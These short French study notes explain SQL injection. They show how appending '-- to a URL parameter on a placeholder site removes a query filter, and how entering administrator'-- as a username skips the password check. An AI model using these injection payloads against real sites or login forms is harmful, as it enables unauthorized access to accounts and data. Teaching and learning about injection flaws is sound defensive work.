INJECTION SQL

Exemple

https://insecure-website.com/products?category=Gifts

var par exemple générer

```
SELECT * FROM products WHERE category = 'Gifts'
AND released = 1
```

https://insecure-website.com/products?category=Gifts'--

```
SELECT * FROM products WHERE category = 'Gifts'--'
AND released = 1
```

— est un indicateur de commentaire il ne va pas filtrer

Supposons un mdp en clair:

```
SELECT * FROM users WHERE username = 'wiener' AND
password = 'bluecheese'
```

si on met administrator'— dans username

```
SELECT * FROM users WHERE username =
'administrator'--' AND password = ''
```
